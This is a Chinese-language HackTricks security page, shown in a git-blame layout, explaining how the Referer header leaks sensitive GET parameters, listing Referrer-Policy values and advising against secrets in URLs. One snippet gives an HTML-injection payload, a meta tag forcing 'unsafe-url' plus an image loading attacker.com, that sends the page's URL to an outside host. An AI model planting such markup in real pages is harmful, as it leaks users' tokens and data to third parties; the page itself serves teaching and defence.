2024-07-18 18:17:52 +00:00
|
|
|
|
{% hint style="success" %}
|
|
|
|
|
学习并练习AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
|
|
|
学习并练习GCP黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2024-07-18 18:17:52 +00:00
|
|
|
|
<details>
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2024-07-18 18:17:52 +00:00
|
|
|
|
<summary>支持HackTricks</summary>
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2024-07-18 18:17:52 +00:00
|
|
|
|
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
|
|
|
|
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
|
|
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github仓库提交PR来分享黑客技巧。**
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
</details>
|
2024-07-18 18:17:52 +00:00
|
|
|
|
{% endhint %}
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2022-05-01 16:32:23 +00:00
|
|
|
|
|
2024-07-18 18:17:52 +00:00
|
|
|
|
# 引荐者标头和策略
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2024-07-18 18:17:52 +00:00
|
|
|
|
引荐者是浏览器用来指示之前访问的页面的标头。
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2024-07-18 18:17:52 +00:00
|
|
|
|
## 泄露的敏感信息
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2024-07-18 18:17:52 +00:00
|
|
|
|
如果在网页中的某个位置存在任何敏感信息在GET请求参数中,如果页面包含指向外部来源的链接或攻击者能够制作/建议(社会工程)用户访问受攻击者控制的URL。攻击者可能能够在最新的GET请求中窃取敏感信息。
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
## 缓解措施
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2024-07-18 18:17:52 +00:00
|
|
|
|
您可以让浏览器遵循一个**引荐者策略**,这可以**避免**敏感信息被发送到其他Web应用程序:
|
2021-10-18 11:21:18 +00:00
|
|
|
|
```
|
2020-07-15 15:43:14 +00:00
|
|
|
|
Referrer-Policy: no-referrer
|
|
|
|
|
Referrer-Policy: no-referrer-when-downgrade
|
|
|
|
|
Referrer-Policy: origin
|
|
|
|
|
Referrer-Policy: origin-when-cross-origin
|
|
|
|
|
Referrer-Policy: same-origin
|
|
|
|
|
Referrer-Policy: strict-origin
|
|
|
|
|
Referrer-Policy: strict-origin-when-cross-origin
|
|
|
|
|
Referrer-Policy: unsafe-url
|
|
|
|
|
```
|
2024-07-18 18:17:52 +00:00
|
|
|
|
## 对抗措施
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2024-07-18 18:17:52 +00:00
|
|
|
|
您可以使用 HTML meta 标签覆盖此规则(攻击者需要利用 HTML 注入):
|
2020-07-15 15:43:14 +00:00
|
|
|
|
```markup
|
|
|
|
|
<meta name="referrer" content="unsafe-url">
|
|
|
|
|
<img src="https://attacker.com">
|
|
|
|
|
```
|
2023-08-03 19:12:22 +00:00
|
|
|
|
## 防御
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2024-07-18 18:17:52 +00:00
|
|
|
|
永远不要将任何敏感数据放在URL的GET参数或路径中。
|
2022-05-01 16:32:23 +00:00
|
|
|
|
|
2024-07-18 18:17:52 +00:00
|
|
|
|
{% hint style="success" %}
|
|
|
|
|
学习并实践AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
|
|
|
学习并实践GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2024-01-05 12:26:00 +00:00
|
|
|
|
<details>
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2024-07-18 18:17:52 +00:00
|
|
|
|
<summary>支持 HackTricks</summary>
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2024-07-18 18:17:52 +00:00
|
|
|
|
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
|
|
|
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
|
|
|
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
</details>
|
2024-07-18 18:17:52 +00:00
|
|
|
|
{% endhint %}
|